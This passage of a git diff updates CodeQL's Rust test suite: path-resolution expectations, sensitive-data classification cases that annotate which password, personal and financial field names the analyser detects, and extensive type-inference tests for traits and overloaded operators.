Result<...> | +| my.rs:30:13:30:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:33:16:33:18 | Err | {EXTERNAL LOCATION} | Err | +| my.rs:35:5:35:6 | Ok | {EXTERNAL LOCATION} | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:21:5:21:11 | nested1 | my/nested.rs:1:1:17:1 | mod nested1 | | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | +testFailures diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index bd522597a2e4..0fe49a8e386b 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,17 +5,8 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -class ItemNodeLoc extends Locatable instanceof ItemNode { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - super.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - -query predicate resolvePath(Path p, ItemNodeLoc i) { - toBeTested(p) and not p.isInMacroExpansion() and i = resolvePath(p) +query predicate resolvePath(Path p, ItemNode i) { + toBeTested(p) and + not p.isFromMacroExpansion() and + i = resolvePath(p) } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.qlref b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref new file mode 100644 index 000000000000..54a21bc91abf --- /dev/null +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref @@ -0,0 +1,2 @@ +query: path-resolution.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index ff5496fb7361..f74de9f5bf86 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -10,6 +10,8 @@ struct MyStruct { password: String, password_file_path: String, password_enabled: String, + mfa: String, + numfailed: String, } impl MyStruct { @@ -22,12 +24,14 @@ fn get_password() -> String { get_string() } fn test_passwords( password: &str, pass_word: &str, passwd: &str, my_password: &str, password_str: &str, - pass_phrase: &str, passphrase: &str, passPhrase: &str, - auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, - harmless: &str, encrypted_password: &str, password_hash: &str, + pass_phrase: &str, passphrase: &str, passPhrase: &str, backup_code: &str, + auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, oauth: &str, + one_time_code: &str, + harmless: &str, encrypted_password: &str, password_hash: &str, passwordFile: &str, ms: &MyStruct ) { // passwords + sink(password); // $ sensitive=password sink(pass_word); // $ MISSING: sensitive=password sink(passwd); // $ sensitive=password @@ -36,6 +40,7 @@ fn test_passwords( sink(pass_phrase); // $ sensitive=password sink(passphrase); // $ sensitive=password sink(passPhrase); // $ sensitive=password + sink(backup_code); // $ MISSING: sensitive=password sink(auth_key); // $ sensitive=password sink(authkey); // $ sensitive=password @@ -43,22 +48,31 @@ fn test_passwords( sink(authentication_key); // $ sensitive=password sink(authenticationkey); // $ sensitive=password sink(authenticationKey); // $ sensitive=password + sink(oauth); // $ MISSING: sensitive=password + sink(one_time_code); // $ MISSING: sensitive=password sink(ms); // $ MISSING: sensitive=password - sink(ms.password.as_str()); // $ MISSING: sensitive=password + sink(ms.password.as_str()); // $ sensitive=password + sink(ms.mfa.as_str()); // $ MISSING: sensitive=password sink(get_password()); // $ sensitive=password let password2 = get_string(); sink(password2); // $ sensitive=password + let qry = "password=abc"; + sink(qry); // $ MISSING: sensitive=password + // not passwords + sink(harmless); sink(encrypted_password); sink(password_hash); + sink(passwordFile); // $ SPURIOUS: sensitive=password sink(ms.harmless.as_str()); - sink(ms.password_file_path.as_str()); - sink(ms.password_enabled.as_str()); + sink(ms.password_file_path.as_str()); // $ SPURIOUS: sensitive=password + sink(ms.password_enabled.as_str()); // $ SPURIOUS: sensitive=password + sink(ms.numfailed.as_str()); sink(get_string()); let harmless2 = get_string(); @@ -75,10 +89,11 @@ fn get_next_token() -> String { get_string() } fn test_credentials( account_key: &str, accnt_key: &str, license_key: &str, secret_key: &str, is_secret: bool, num_accounts: i64, username: String, user_name: String, userid: i64, user_id: i64, my_user_id_64: i64, unique_id: i64, uid: i64, - sessionkey: &[u64; 4], session_key: &[u64; 4], hashkey: &[u64; 4], hash_key: &[u64; 4], + sessionkey: &[u64; 4], session_key: &[u64; 4], hashkey: &[u64; 4], hash_key: &[u64; 4], sessionkeypath: &[u64; 4], account_key_path: &[u64; 4], ms: &MyStruct ) { // credentials + sink(account_key); // $ sensitive=id sink(accnt_key); // $ sensitive=id sink(license_key); // $ MISSING: sensitive=secret @@ -101,12 +116,15 @@ fn test_credentials( sink(get_secret_token()); // $ sensitive=secret // not (necessarily) credentials + sink(is_secret); sink(num_accounts); // $ SPURIOUS: sensitive=id sink(unique_id); sink(uid); // $ SPURIOUS: sensitive=id sink(hashkey); sink(hash_key); + sink(sessionkeypath); // $ SPURIOUS: sensitive=id + sink(account_key_path); // $ SPURIOUS: sensitive=id sink(ms.get_certificate_url()); // $ SPURIOUS: sensitive=certificate sink(ms.get_certificate_file()); // $ SPURIOUS: sensitive=certificate @@ -115,58 +133,215 @@ fn test_credentials( sink(get_next_token()); } +struct MacAddr { + values: [u8;12], +} + +struct DeviceInfo { + api_key: String, + deviceApiToken: String, + finger_print: String, + ip_address: String, + macaddr12: [u8;12], + mac_addr: MacAddr, + networkMacAddress: String, + + // not private device info + macro_value: bool, + mac_command: u32, + skip_address: String, +} + +impl DeviceInfo { + fn test_device_info(&self, other: &DeviceInfo) { + // private device info + + sink(&self.api_key); // $ MISSING: sensitive=id + sink(&other.api_key); // $ MISSING: sensitive=id + sink(&self.deviceApiToken); // $ MISSING: sensitive=id + sink(&self.finger_print); // $ MISSING: sensitive=id + sink(&self.ip_address); // $ MISSING: sensitive=id + sink(self.macaddr12); // $ MISSING: sensitive=id + sink(&self.mac_addr); // $ MISSING: sensitive=id + sink(self.mac_addr.values); // $ MISSING: sensitive=id + sink(self.mac_addr.values[0]); // $ MISSING: sensitive=id + sink(&self.networkMacAddress); // $ MISSING: sensitive=id + + // not private device info + + sink(self.macro_value); + sink(self.mac_command); + sink(&self.skip_address); + } +} + struct Financials { harmless: String, my_bank_account_number: String, credit_card_no: String, credit_rating: i32, - user_ccn: String + user_ccn: String, + cvv: String, + beneficiary: String, + routing_number: u64, + routingNumberText: String, + iban: String, + iBAN: String, + + num_accounts: i32, + total_accounts: i32, + accounting: i32, + unaccounted: bool, + multiband: bool, +} + +enum Gender { + Male, + Female, +} + +struct SSN { + data: u128, +} + +impl SSN { + fn get_data(&self) -> u128 { + return self.data; + } } struct MyPrivateInfo { mobile_phone_num: String, contact_email: String, contact_e_mail_2: String, + emergency_contact: String, my_ssn: String, + ssn: SSN, birthday: String, - emergency_contact: String, name_of_employer: String, + gender: Gender, + genderString: String, + + patient_id: u64, + linkedPatientId: u64, + patient_record: String, medical_notes: Vec, + confidentialMessage: String, + latitude: f64, longitude: Option, financials: Financials } +enum ContactDetails { + HomePhoneNumber(String), + MobileNumber(String), + Email(String), + FavouriteColor(String), +} + +struct ContactDetails2 { + home_phone_number: String, +} + fn test_private_info( - info: &MyPrivateInfo + info: &MyPrivateInfo, details: &ContactDetails, ) { // private info - sink(info.mobile_phone_num.as_str()); // $ MISSING: sensitive=private - sink(info.mobile_phone_num.to_string()); // $ MISSING: sensitive=private + + sink(info.mobile_phone_num.as_str()); // $ sensitive=private + sink(info.mobile_phone_num.to_string()); // $ sensitive=private sink(info.contact_email.as_str()); // $ MISSING: sensitive=private sink(info.contact_e_mail_2.as_str()); // $ MISSING: sensitive=private - sink(info.my_ssn.as_str()); // $ MISSING: sensitive=private - sink(info.birthday.as_str()); // $ MISSING: sensitive=private - sink(info.emergency_contact.as_str()); // $ MISSING: sensitive=private - sink(info.name_of_employer.as_str()); // $ MISSING: sensitive=private + sink(info.my_ssn.as_str()); // $ sensitive=private + sink(&info.ssn); // $ sensitive=private + sink(info.ssn.data); // $ sensitive=private + sink(info.ssn.get_data()); // $ sensitive=private + sink(info.birthday.as_str()); // $ sensitive=private + sink(info.emergency_contact.as_str()); // $ sensitive=private + sink(info.name_of_employer.as_str()); // $ sensitive=private - sink(&info.medical_notes); // $ MISSING: sensitive=private - sink(info.medical_notes[0].as_str()); // $ MISSING: sensitive=private + sink(&info.gender); // $ MISSING: sensitive=private + sink(info.genderString.as_str()); // $ MISSING: sensitive=private + let sex = "Male"; + let gender = Gender::Female; + let a = Gender::Female; + sink(sex); // $ MISSING: sensitive=private + sink(gender); // $ MISSING: sensitive=private + sink(a); // $ MISSING: sensitive=private + + sink(info.patient_id); // $ MISSING: sensitive=private + sink(info.linkedPatientId); // $ MISSING: sensitive=private + sink(info.patient_record.as_str()); // $ MISSING: sensitive=private + sink(info.patient_record.trim()); // $ MISSING: sensitive=private + sink(&info.medical_notes); // $ sensitive=private + sink(info.medical_notes[0].as_str()); // $ sensitive=private for n in info.medical_notes.iter() { - sink(n.as_str()); // $ MISSING: sensitive=private + sink(n.as_str()); // $ sensitive=private } + sink(info.confidentialMessage.as_str()); // $ MISSING: sensitive=private + sink(info.confidentialMessage.to_lowercase()); // $ MISSING: sensitive=private - sink(info.latitude); // $ MISSING: sensitive=private + sink(info.latitude); // $ sensitive=private let x = info.longitude.unwrap(); - sink(x); // $ MISSING: sensitive=private + sink(x); // $ sensitive=private + + sink(info.financials.my_bank_account_number.as_str()); // $ sensitive=private SPURIOUS: sensitive=id + sink(info.financials.credit_card_no.as_str()); // $ sensitive=private + sink(info.financials.credit_rating); // $ sensitive=private + sink(info.financials.user_ccn.as_str()); // $ sensitive=private + sink(info.financials.cvv.as_str()); // $ MISSING: sensitive=private + sink(info.financials.beneficiary.as_str()); // $ MISSING: sensitive=private + sink(info.financials.routing_number); // $ MISSING: sensitive=private + sink(info.financials.routingNumberText.as_str()); // $ MISSING: sensitive=private + sink(info.financials.iban.as_str()); // $ MISSING: sensitive=private + sink(info.financials.iBAN.as_str()); // $ MISSING: sensitive=private + + sink(ContactDetails::HomePhoneNumber("123".to_string())); // $ sensitive=private + sink(ContactDetails::MobileNumber("123".to_string())); // $ sensitive=private + sink(ContactDetails::Email("a@b".to_string())); // $ MISSING: sensitive=private + + let numbers = [1, 2, 3]; + + if let ContactDetails::MobileNumber(num) = details { + sink(num.as_str()); // $ MISSING: sensitive=private + } + let contacts = numbers.map(|number| + { + let contact = ContactDetails::MobileNumber(number.to_string()); + sink(&contact); // $ sensitive=private + contact + } + ); + sink(&contacts[0]); // $ MISSING: sensitive=private + if let ContactDetails::HomePhoneNumber(num) = &contacts[0] { + sink(num.as_str()); // $ MISSING: sensitive=private + } - sink(info.financials.my_bank_account_number.as_str()); // $ MISSING: sensitive=private - sink(info.financials.credit_card_no.as_str()); // $ MISSING: sensitive=private - sink(info.financials.credit_rating); // $ MISSING: sensitive=private - sink(info.financials.user_ccn.as_str()); // $ MISSING: sensitive=private + let contacts2 = numbers.map(|number| + { + let contact = ContactDetails2 { + home_phone_number: number.to_string(), + }; + sink(&contact.home_phone_number); // $ sensitive=private + contact + } + ); + sink(&contacts2[0].home_phone_number); // $ sensitive=private // not private info + + let modulesEx = 1; + sink(modulesEx); + sink(info.financials.harmless.as_str()); + sink(info.financials.num_accounts); // $ SPURIOUS: sensitive=id + sink(info.financials.total_accounts); // $ SPURIOUS: sensitive=id + sink(info.financials.accounting); // $ SPURIOUS: sensitive=id + sink(info.financials.unaccounted); // $ SPURIOUS: sensitive=id + sink(info.financials.multiband); + + sink(ContactDetails::FavouriteColor("blue".to_string())); } diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index fa16b6264740..36d3f5a82ea8 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -90,6 +90,32 @@ mod method_impl { } } +mod trait_impl { + #[derive(Debug)] + struct MyThing { + field: bool, + } + + trait MyTrait { + fn trait_method(self) -> B; + } + + impl MyTrait for MyThing { + // MyThing::trait_method + fn trait_method(self) -> bool { + self.field // $ fieldof=MyThing + } + } + + pub fn f() { + let x = MyThing { field: true }; + let a = x.trait_method(); // $ type=a:bool method=MyThing::trait_method + + let y = MyThing { field: false }; + let b = MyTrait::trait_method(y); // $ type=b:bool method=MyThing::trait_method + } +} + mod method_non_parametric_impl { #[derive(Debug)] struct MyThing { @@ -129,8 +155,8 @@ mod method_non_parametric_impl { println!("{:?}", x.a); // $ fieldof=MyThing println!("{:?}", y.a); // $ fieldof=MyThing - println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing + println!("{:?}", x.m1()); // $ method=MyThing::m1 + println!("{:?}", y.m1().a); // $ method=MyThing::m1 fieldof=MyThing let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; @@ -141,15 +167,23 @@ mod method_non_parametric_impl { } mod method_non_parametric_trait_impl { - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] struct MyThing { a: A, } - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] + struct MyPair { + p1: P1, + p2: P2, + } + + #[derive(Debug, Clone, Copy)] struct S1; - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] struct S2; + #[derive(Debug, Clone, Copy, Default)] + struct S3; trait MyTrait { fn m1(self) -> A; @@ -162,6 +196,13 @@ mod method_non_parametric_trait_impl { } } + trait MyProduct { + // MyProduct::fst + fn fst(self) -> A; + // MyProduct::snd + fn snd(self) -> B; + } + fn call_trait_m1>(x: T2) -> T1 { x.m1() // $ method=m1 } @@ -180,18 +221,211 @@ mod method_non_parametric_trait_impl { } } + // Implementation where the type parameter `TD` only occurs in the + // implemented trait and not the implementing type. + impl MyTrait for MyThing + where + TD: Default, + { + // MyThing::m1 + fn m1(self) -> TD { + TD::default() + } + } + + impl MyTrait for MyPair { + // MyTrait::m1 + fn m1(self) -> I { + self.p1 // $ fieldof=MyPair + } + } + + impl MyTrait for MyPair { + // MyTrait::m1 + fn m1(self) -> S3 { + S3 + } + } + + impl MyTrait for MyPair, S3> { + // MyTrait::m1 + fn m1(self) -> TT { + let alpha = self.p1; // $ fieldof=MyPair + alpha.a // $ fieldof=MyThing + } + } + + // This implementation only applies if the two type parameters are equal. + impl MyProduct for MyPair { + // MyPair::fst + fn fst(self) -> A { + self.p1 // $ fieldof=MyPair + } + + // MyPair::snd + fn snd(self) -> A { + self.p2 // $ fieldof=MyPair + } + } + + // This implementation swaps the type parameters. + impl MyProduct for MyPair { + // MyPair::fst + fn fst(self) -> S1 { + self.p2 // $ fieldof=MyPair + } + + // MyPair::snd + fn snd(self) -> S2 { + self.p1 // $ fieldof=MyPair + } + } + + fn get_fst>(p: P) -> V1 { + p.fst() // $ method=MyProduct::fst + } + + fn get_snd>(p: P) -> V2 { + p.snd() // $ method=MyProduct::snd + } + + fn get_snd_fst>(p: MyPair) -> V1 { + p.p2.fst() // $ fieldof=MyPair method=MyProduct::fst + } + + trait ConvertTo { + // ConvertTo::convert_to + fn convert_to(self) -> T; + } + + impl> ConvertTo for T { + // T::convert_to + fn convert_to(self) -> S1 { + self.m1() // $ method=m1 + } + } + + fn convert_to>(thing: T) -> TS { + thing.convert_to() // $ method=ConvertTo::convert_to + } + + fn type_bound_type_parameter_impl>(thing: TP) -> S1 { + // The trait bound on `TP` makes the implementation of `ConvertTo` valid + thing.convert_to() // $ MISSING: method=T::convert_to + } + pub fn f() { - let x = MyThing { a: S1 }; - let y = MyThing { a: S2 }; + let thing_s1 = MyThing { a: S1 }; + let thing_s2 = MyThing { a: S2 }; + let thing_s3 = MyThing { a: S3 }; - println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing + // Tests for method resolution - let x = MyThing { a: S1 }; - let y = MyThing { a: S2 }; + println!("{:?}", thing_s1.m1()); // $ method=MyThing::m1 + println!("{:?}", thing_s2.m1().a); // $ method=MyThing::m1 fieldof=MyThing + let s3: S3 = thing_s3.m1(); // $ method=MyThing::m1 + println!("{:?}", s3); + + let p1 = MyPair { p1: S1, p2: S1 }; + println!("{:?}", p1.m1()); // $ method=MyTrait::m1 + + let p2 = MyPair { p1: S1, p2: S2 }; + println!("{:?}", p2.m1()); // $ method=MyTrait::m1 + + let p3 = MyPair { + p1: MyThing { a: S1 }, + p2: S3, + }; + println!("{:?}", p3.m1()); // $ method=MyTrait::m1 + + // These calls go to the first implementation of `MyProduct` for `MyPair` + let a = MyPair { p1: S1, p2: S1 }; + let x = a.fst(); // $ method=MyPair::fst + println!("{:?}", x); + let y = a.snd(); // $ method=MyPair::snd + println!("{:?}", y); + + // These calls go to the last implementation of `MyProduct` for + // `MyPair`. The first implementation does not apply as the type + // parameters of the implementation enforce that the two generics must + // be equal. + let b = MyPair { p1: S2, p2: S1 }; + let x = b.fst(); // $ method=MyPair::fst + println!("{:?}", x); + let y = b.snd(); // $ method=MyPair::snd + println!("{:?}", y); + + // Tests for inference of type parameters based on trait implementations. + + let x = call_trait_m1(thing_s1); // $ type=x:S1 + println!("{:?}", x); + let y = call_trait_m1(thing_s2); // $ type=y:MyThing type=y:A.S2 + println!("{:?}", y.a); // $ fieldof=MyThing + + // First implementation + let a = MyPair { p1: S1, p2: S1 }; + let x = get_fst(a); // $ type=x:S1 + println!("{:?}", x); + let y = get_snd(a); // $ type=y:S1 + println!("{:?}", y); + + // Second implementation + let b = MyPair { p1: S2, p2: S1 }; + let x = get_fst(b); // $ type=x:S1 + println!("{:?}", x); + let y = get_snd(b); // $ type=y:S2 + println!("{:?}", y); + + let c = MyPair { + p1: S3, + p2: MyPair { p1: S2, p2: S1 }, + }; + let x = get_snd_fst(c); // $ type=x:S1 - println!("{:?}", call_trait_m1(x)); // MISSING: type=call_trait_m1(...):S1 - println!("{:?}", call_trait_m1(y).a); // MISSING: field=MyThing + let thing = MyThing { a: S1 }; + let i = thing.convert_to(); // $ MISSING: type=i:S1 method=T::convert_to + let j = convert_to(thing); // $ type=j:S1 + } +} + +mod impl_overlap { + #[derive(Debug, Clone, Copy)] + struct S1; + + trait OverlappingTrait { + fn common_method(self) -> S1; + + fn common_method_2(self, s1: S1) -> S1; + } + + impl OverlappingTrait for S1 { + // ::common_method + fn common_method(self) -> S1 { + panic!("not called"); + } + + // ::common_method_2 + fn common_method_2(self, s1: S1) -> S1 { + panic!("not called"); + } + } + + impl S1 { + // S1::common_method + fn common_method(self) -> S1 { + self + } + + // S1::common_method_2 + fn common_method_2(self) -> S1 { + self + } + } + + pub fn f() { + let x = S1; + println!("{:?}", x.common_method()); // $ method=S1::common_method + println!("{:?}", x.common_method_2()); // $ method=S1::common_method_2 } } @@ -219,13 +453,13 @@ mod type_parameter_bounds { fn call_first_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. let s1 = x.method(); // $ method=SecondTrait::method - println!("{:?}", s1); + println!("{:?}", s1); // $ type=s1:I } fn call_second_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. let s2 = x.method(); // $ method=SecondTrait::method - println!("{:?}", s2); + println!("{:?}", s2); // $ type=s2:I } fn trait_bound_with_type>(x: T) { @@ -235,7 +469,7 @@ mod type_parameter_bounds { fn trait_per_bound_with_type>(x: T) { let s = x.method(); // $ method=FirstTrait::method - println!("{:?}", s); + println!("{:?}", s); // $ type=s:S1 } trait Pair { @@ -323,8 +557,10 @@ mod function_trait_bounds { a: MyThing { a: S2 }, }; - println!("{:?}", call_trait_thing_m1(x3)); - println!("{:?}", call_trait_thing_m1(y3)); + let a = call_trait_thing_m1(x3); // $ type=a:S1 + println!("{:?}", a); + let b = call_trait_thing_m1(y3); // $ type=b:S2 + println!("{:?}", b); } } @@ -529,11 +765,12 @@ mod method_supertraits { } trait MyTrait2: MyTrait1 { + #[rustfmt::skip] fn m2(self) -> Tr2 where Self: Sized, { - if 1 + 1 > 2 { + if 3 > 2 { // $ method=gt self.m1() // $ method=MyTrait1::m1 } else { Self::m1(self) @@ -542,11 +779,12 @@ mod method_supertraits { } trait MyTrait3: MyTrait2> { + #[rustfmt::skip] fn m3(self) -> Tr3 where Self: Sized, { - if 1 + 1 > 2 { + if 3 > 2 { // $ method=gt self.m2().a // $ method=m2 $ fieldof=MyThing } else { Self::m2(self).a // $ fieldof=MyThing @@ -574,6 +812,16 @@ mod method_supertraits { impl MyTrait3 for MyThing2 {} + fn call_trait_m1>(x: T2) -> T1 { + x.m1() // $ method=MyTrait1::m1 + } + + fn type_param_trait_to_supertrait>(x: T) { + // Test that `MyTrait3` is a subtrait of `MyTrait1>` + let a = x.m1(); // $ method=MyTrait1::m1 type=a:MyThing type=a:A.S1 + println!("{:?}", a); + } + pub fn f() { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; @@ -584,14 +832,20 @@ mod method_supertraits { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m2()); // $ method=m2 - println!("{:?}", y.m2()); // $ method=m2 + println!("{:?}", x.m2()); // $ method=m2 type=x.m2():S1 + println!("{:?}", y.m2()); // $ method=m2 type=y.m2():S2 let x = MyThing2 { a: S1 }; let y = MyThing2 { a: S2 }; - println!("{:?}", x.m3()); // $ method=m3 - println!("{:?}", y.m3()); // $ method=m3 + println!("{:?}", x.m3()); // $ method=m3 type=x.m3():S1 + println!("{:?}", y.m3()); // $ method=m3 type=y.m3():S2 + + let x = MyThing { a: S1 }; + let s = call_trait_m1(x); // $ type=s:S1 + + let x = MyThing2 { a: S2 }; + let s = call_trait_m1(x); // $ type=s:MyThing type=s:A.S2 } } @@ -767,26 +1021,29 @@ mod option_methods { println!("{:?}", x4); let x5 = MyOption::MySome(MyOption::::MyNone()); - println!("{:?}", x5.flatten()); // MISSING: method=flatten + println!("{:?}", x5.flatten()); // $ method=flatten let x6 = MyOption::MySome(MyOption::::MyNone()); println!("{:?}", MyOption::>::flatten(x6)); - let from_if = if 1 + 1 > 2 { + #[rustfmt::skip] + let from_if = if 3 > 2 { // $ method=gt MyOption::MyNone() } else { MyOption::MySome(S) }; println!("{:?}", from_if); - let from_match = match 1 + 1 > 2 { + #[rustfmt::skip] + let from_match = match 3 > 2 { // $ method=gt true => MyOption::MyNone(), false => MyOption::MySome(S), }; println!("{:?}", from_match); + #[rustfmt::skip] let from_loop = loop { - if 1 + 1 > 2 { + if 3 > 2 { // $ method=gt break MyOption::MyNone(); } break MyOption::MySome(S); @@ -844,6 +1101,12 @@ mod method_call_type_conversion { let x6 = &S(S2); // explicit dereference println!("{:?}", (*x6).m1()); // $ method=m1 + + let x7 = S(&S2); + // Non-implicit dereference with nested borrow in order to test that the + // implicit dereference handling doesn't affect nested borrows. + let t = x7.m1(); // $ method=m1 type=t:& type=t:&T.S2 + println!("{:?}", x7); } } @@ -978,6 +1241,395 @@ mod try_expressions { } } +mod builtins { + pub fn f() { + let x: i32 = 1; // $ type=x:i32 + let y = 2; // $ type=y:i32 + let z = x + y; // $ type=z:i32 method=add + let z = x.abs(); // $ method=abs $ type=z:i32 + let c = 'c'; // $ type=c:char + let hello = "Hello"; // $ type=hello:str + let f = 123.0f64; // $ type=f:f64 + let t = true; // $ type=t:bool + let f = false; // $ type=f:bool + } +} + +// Tests for non-overloaded operators. +mod operators { + pub fn f() { + let x = true && false; // $ type=x:bool + let y = true || false; // $ type=y:bool + + let mut a; + let cond = 34 == 33; // $ method=eq + if cond { + let z = (a = 1); // $ type=z:() type=a:i32 + } else { + a = 2; // $ type=a:i32 + } + a; // $ type=a:i32 + } +} + +// Tests for overloaded operators. +mod overloadable_operators { + use std::ops::*; + // A vector type with overloaded operators. + #[derive(Debug, Copy, Clone)] + struct Vec2 { + x: i64, + y: i64, + } + // Implement all overloadable operators for Vec2 + impl Add for Vec2 { + type Output = Self; + // Vec2::add + fn add(self, rhs: Self) -> Self { + Vec2 { + x: self.x + rhs.x, // $ fieldof=Vec2 method=add + y: self.y + rhs.y, // $ fieldof=Vec2 method=add + } + } + } + impl AddAssign for Vec2 { + // Vec2::add_assign + #[rustfmt::skip] + fn add_assign(&mut self, rhs: Self) { + self.x += rhs.x; // $ fieldof=Vec2 method=add_assign + self.y += rhs.y; // $ fieldof=Vec2 method=add_assign + } + } + impl Sub for Vec2 { + type Output = Self; + // Vec2::sub + fn sub(self, rhs: Self) -> Self { + Vec2 { + x: self.x - rhs.x, // $ fieldof=Vec2 method=sub + y: self.y - rhs.y, // $ fieldof=Vec2 method=sub + } + } + } + impl SubAssign for Vec2 { + // Vec2::sub_assign + #[rustfmt::skip] + fn sub_assign(&mut self, rhs: Self) { + self.x -= rhs.x; // $ fieldof=Vec2 method=sub_assign + self.y -= rhs.y; // $ fieldof=Vec2 method=sub_assign + } + } + impl Mul for Vec2 { + type Output = Self; + // Vec2::mul + fn mul(self, rhs: Self) -> Self { + Vec2 { + x: self.x * rhs.x, // $ fieldof=Vec2 method=mul + y: self.y * rhs.y, // $ fieldof=Vec2 method=mul + } + } + } + impl MulAssign for Vec2 { + // Vec2::mul_assign + fn mul_assign(&mut self, rhs: Self) { + self.x *= rhs.x; // $ fieldof=Vec2 method=mul_assign + self.y *= rhs.y; // $ fieldof=Vec2 method=mul_assign + } + } + impl Div for Vec2 { + type Output = Self; + // Vec2::div + fn div(self, rhs: Self) -> Self { + Vec2 { + x: self.x / rhs.x, // $ fieldof=Vec2 method=div + y: self.y / rhs.y, // $ fieldof=Vec2 method=div + } + } + } + impl DivAssign for Vec2 { + // Vec2::div_assign + fn div_assign(&mut self, rhs: Self) { + self.x /= rhs.x; // $ fieldof=Vec2 method=div_assign + self.y /= rhs.y; // $ fieldof=Vec2 method=div_assign + } + } + impl Rem for Vec2 { + type Output = Self; + // Vec2::rem + fn rem(self, rhs: Self) -> Self { + Vec2 { + x: self.x % rhs.x, // $ fieldof=Vec2 method=rem + y: self.y % rhs.y, // $ fieldof=Vec2 method=rem + } + } + } + impl RemAssign for Vec2 { + // Vec2::rem_assign + fn rem_assign(&mut self, rhs: Self) { + self.x %= rhs.x; // $ fieldof=Vec2 method=rem_assign + self.y %= rhs.y; // $ fieldof=Vec2 method=rem_assign + } + } + impl BitAnd for Vec2 { + type Output = Self; + // Vec2::bitand + fn bitand(self, rhs: Self) -> Self { + Vec2 { + x: self.x & rhs.x, // $ fieldof=Vec2 method=bitand + y: self.y & rhs.y, // $ fieldof=Vec2 method=bitand + } + } + } + impl BitAndAssign for Vec2 { + // Vec2::bitand_assign + fn bitand_assign(&mut self, rhs: Self) { + self.x &= rhs.x; // $ fieldof=Vec2 method=bitand_assign + self.y &= rhs.y; // $ fieldof=Vec2 method=bitand_assign + } + } + impl BitOr for Vec2 { + type Output = Self; + // Vec2::bitor + fn bitor(self, rhs: Self) -> Self { + Vec2 { + x: self.x | rhs.x, // $ fieldof=Vec2 method=bitor + y: self.y | rhs.y, // $ fieldof=Vec2 method=bitor + } + } + } + impl BitOrAssign for Vec2 { + // Vec2::bitor_assign + fn bitor_assign(&mut self, rhs: Self) { + self.x |= rhs.x; // $ fieldof=Vec2 method=bitor_assign + self.y |= rhs.y; // $ fieldof=Vec2 method=bitor_assign + } + } + impl BitXor for Vec2 { + type Output = Self; + // Vec2::bitxor + fn bitxor(self, rhs: Self) -> Self { + Vec2 { + x: self.x ^ rhs.x, // $ fieldof=Vec2 method=bitxor + y: self.y ^ rhs.y, // $ fieldof=Vec2 method=bitxor + } + } + } + impl BitXorAssign for Vec2 { + // Vec2::bitxor_assign + fn bitxor_assign(&mut self, rhs: Self) { + self.x ^= rhs.x; // $ fieldof=Vec2 method=bitxor_assign + self.y ^= rhs.y; // $ fieldof=Vec2 method=bitxor_assign + } + } + impl Shl for Vec2 { + type Output = Self; + // Vec2::shl + fn shl(self, rhs: u32) -> Self { + Vec2 { + x: self.x << rhs, // $ fieldof=Vec2 method=shl + y: self.y << rhs, // $ fieldof=Vec2 method=shl + } + } + } + impl ShlAssign for Vec2 { + // Vec2::shl_assign + fn shl_assign(&mut self, rhs: u32) { + self.x <<= rhs; // $ fieldof=Vec2 method=shl_assign + self.y <<= rhs; // $ fieldof=Vec2 method=shl_assign + } + } + impl Shr for Vec2 { + type Output = Self; + // Vec2::shr + fn shr(self, rhs: u32) -> Self { + Vec2 { + x: self.x >> rhs, // $ fieldof=Vec2 method=shr + y: self.y >> rhs, // $ fieldof=Vec2 method=shr + } + } + } + impl ShrAssign for Vec2 { + // Vec2::shr_assign + fn shr_assign(&mut self, rhs: u32) { + self.x >>= rhs; // $ fieldof=Vec2 method=shr_assign + self.y >>= rhs; // $ fieldof=Vec2 method=shr_assign + } + } + impl Neg for Vec2 { + type Output = Self; + // Vec2::neg + fn neg(self) -> Self { + Vec2 { + x: -self.x, // $ fieldof=Vec2 method=neg + y: -self.y, // $ fieldof=Vec2 method=neg + } + } + } + impl Not for Vec2 { + type Output = Self; + // Vec2::not + fn not(self) -> Self { + Vec2 { + x: !self.x, // $ fieldof=Vec2 method=not + y: 